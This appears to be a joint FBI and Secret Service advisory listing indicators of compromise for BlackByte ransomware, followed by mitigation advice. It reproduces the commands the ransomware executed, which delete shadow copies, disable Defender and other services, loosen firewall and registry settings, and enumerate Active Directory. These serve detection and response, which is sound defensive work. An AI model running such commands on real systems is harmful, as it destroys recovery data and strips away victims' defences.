JOINT CYBERSECURITY ADVISORY

Co-Authored by:

TLP:WHITE

Product ID: CU-000163-MW

February 11, 2022

Indicators of Compromise Associated with BlackByte Ransomware

SUMMARY

This joint Cybersecurity Advisory was developed by the Federal Bureau of Investigation (FBI) and the U.S. Secret Service (USSS) to provide information on BlackByte ransomware. As of November 2021, BlackByte ransomware had compromised multiple US and foreign businesses, including entities in at least three US critical infrastructure sectors (government facilities, financial, and food & agriculture). BlackByte is a Ransomware as a Service (RaaS) group that encrypts files on compromised Windows host systems, including physical and virtual servers.

TECHNICAL DETAILS

The BlackByte executable leaves a ransom note in all directories where encryption occurs. The ransom note includes the .onion site that contains instructions for paying the ransom and receiving a decryption key. Some victims reported the actors used a known Microsoft Exchange Server vulnerability as a means of gaining access to their networks. Once in, actors deploy tools to move laterally across the network and escalate privileges before exfiltrating and encrypting files. In some instances, BlackByte ransomware actors have only partially encrypted files. In cases where decryption is not possible, some data recovery can occur. Previous versions of BlackByte ransomware downloaded a .png file from IP addresses 185.93.6.31 and 45.9.148.114 prior to encryption. A newer version encrypts without communicating with any external IP addresses. BlackByte ransomware runs executables from c:\windows\system32\ and C:\Windows\. Process injection has been observed on processes it creates.

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices or U.S. Secret Service Field Office at www.secretservice.gov/contact/field-offices/. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov.

Indicators of Compromise

The following indicators of compromise (IOCs) are assessed to be associated with BlackByte activity:

Suspicious files discovered in the following locations:
Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946
inetpub\wwwroot\aspnet_client
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts
Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium

The filenames for suspicious ASPX files appeared to have the following naming conventions:

- <5 random alphabetical characters>.aspx
- error<2 capital letters>.aspx
- iismeta<4 random numbers>.aspx

Suspicious files were also discovered at:
%AppData%\BB.ico *This file is the icon given to files with a .blackbyte file extension.*
%AppData%\BlackByteRestore.txt *This file is the ransom note that is left in every folder where files are encrypted.*
%AppData%\dummy *This file is a text file containing a list of machine names that can be reached on the network.*
%HOMEPATH%\complex.exe *This file is the ransomware executable.*
Users\tree.dll *This file contains the message "Your HACKED by BlackByte team. Connect us to restore your system." (SIC)*

Scheduled tasks may be created and artifacts have been observed at Windows\System32\Tasks:

C:\Users\<username>\complex.exe -single <SHA256>. *This command appears to launch the ransomware.*
C:\Windows\System32\cmd.exe /c for /l %x in (1,1,75) do start wordpad.exe /p C:\Users\tree.dll. *This command attempts to open tree.dll in wordpad 75 times and then prints the contents.*

IIS logs contain GET and POST requests to various malicious ASPX files that follow a pattern of "<FILE_PATH>/<SUSPICIOUS_FILENAME>.aspxexec_code=Response.Write"

Below is a list of hashes of suspicious files that have been observed on systems affected by BlackByte ransomware:

MD5 Hashes:	
4d2da36174633565f3dd5ed6dc5033c4	959a7df5c465fcd963a641d87c18a565
cd7034692d8f29f9146deb3641de7986	5f40e1859053b70df9c0753d327f2cee
d63a7756bfdcd2be6c755bf288a92c8b	df7befc8cdc3c5434ef27cc669fb1e4b
eed7357ab8d2fe31ea3dbcf3f9b7ec74	51f2cf541f004d3c1fa8b0f94c89914a
695e343b81a7b0208cbae33e11f7044c	d9e94f076d175ace80f211ea298fa46e
296c51eb03e70808304b5f0e050f4f94	8320d9ec2eab7f5ff49186b2e630a15f
0c7b8da133799dd72d0dbe3ea012031e	cea6be26d81a8ff3db0d9da666cd0f8f
a77899602387665cddb6a0f021184a2b	31f818372fa07d1fd158c91510b6a077
1473c91e9c0588f92928bed0ebf5e0f4	d9e94f076d175ace80f211ea298fa46e
28b791746c97c0c04dcbfe0954e7173b	a9cf6dce244ad9afd8ca92820b9c11b9
52b8ae74406e2f52fd81c8458647acd8	7139415fecd716bec6d38d2004176f5d
1785f4058c78ae3dd030808212ae3b04	c13bf39e2f8bf49c9754de7fb1396a33
b8e24e6436f6bed17757d011780e87b9	5c0a549ae45d9abe54ab662e53c484e2
8dfa48e56fc3a6a2272771e708cdb4d2	ad29212716d0b074d976ad7e33b8f35f
4ce0bdd2d4303bf77611b8b34c7d2883	d4aa276a7fbe8dcd858174eeacbb26ce
c010d1326689b95a3d8106f75003427c	9344afc63753cd5e2ee0ff9aed43dc56
ae6fbc60ba9c0f3a0fef72aeffcd3dc7	e2eb5b57a8765856be897b4f6dadca18
405cb8b1e55bb2a50f2ef3e7c2b28496	58e8043876f2f302fbc98d00c270778b
11e35160fc4efabd0a3bd7a7c6afc91b	d2a15e76a4bfa7eb007a07fc8738edfb
659b77f88288b4874b5abe41ed36380d	e46bfbdf1031ea5a383040d0aa598d45
151c6f04aeff0e00c54929f25328f6f7	

Below is a list of observed commands that were executed by complex.exe:

Observed Commands:
cmd.exe /c powershell -command "$x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA'+'G4ARAB'+'lAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name $x;Set-Service -StartupType Disabled $x"
schtasks.exe /DELETE /TN "\"Raccine Rules Updater\"" /F
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
powershell.exe $x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkA'+'F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA=='));Invoke-Expression $x
sc.exe config SQLTELEMETRY start= disabled
sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
sc.exe config SQLWriter start= disabled
sc.exe config SstpSvc start= disabled
powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled
sc.exe config MBAMService start= disabled
sc.exe config wuauserv start= disabled
sc.exe config Dnscache start= auto
sc.exe config fdPHost start= auto
sc.exe config FDResPub start= auto
sc.exe config SSDPSRV start= auto
sc.exe config upnphost start= auto
sc.exe config RemoteRegistry start= auto

cmd.exe /c netsh advfirewall firewall set rule "group=\"Network Discovery\"" new enable=Yes
cmd.exe /c netsh advfirewall firewall set rule "group=\"File and Printer Sharing\"" new enable=Yes
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f
mountvol.exe A: \\?\Volume{d7e47829-0000-0000-0000-100000000000}\
mountvol.exe B: \\?\Volume{d7e47829-0000-0000-0000-b0e213000000}\
mountvol.exe E: \\?\Volume{fce79ce0-b01f-11e6-b968-806e6f6e6963}\
powershell.exe Install-WindowsFeature -Name \"RSAT-AD-PowerShell\" –IncludeAllSubFeature
net.exe view
arp.exe -a
powershell.exe Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | FT Name
notepad.exe %appdata%\RestoreMyFiles_BlackByte.txt
cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del C:\Users\REM\Desktop\hybrid-9-8\complex.exe

The base64 encoded string in the following command:
powershell.exe $x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAg'+'AFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkA'+'F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA=='));Invoke-Expression $x

Decodes to:
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

The base64 encoded string in the following command:
cmd.exe /c powershell -command "$x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VwBpA'+'G4ARAB'+'lAGYA'+'ZQB'+'uAG'+'QA'));Stop-Service -Name $x;Set-Service -StartupType Disabled $x"

MITIGATIONS

- Implement regular backups of all data to be stored as air gapped, password protected copies offline. Ensure these copies are not accessible for modification or deletion from any system where the original data resides.
- Implement network segmentation, such that all machines on your network are not accessible from every other machine.
- Install and regularly update antivirus software on all hosts, and enable real time detection.
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
- Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
- Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
- Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity.
- Consider adding an email banner to emails received from outside your organization.
- Disable hyperlinks in received emails.
- Use double authentication when logging into accounts or services.
- Ensure routine auditing is conducted for all accounts.
- Ensure all the identified IOCs are input into the network SIEM for continuous monitoring and alerts.

RESOURCES

- For additional resources related to the prevention and mitigation of ransomware, go to https://www.stopransomware.gov as well as the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. Stopransomware.gov is the Government's official one-stop location for resources to tackle ransomware more effectively.
- CISA's Ransomware Readiness Assessment (RRA) is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident.
- CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.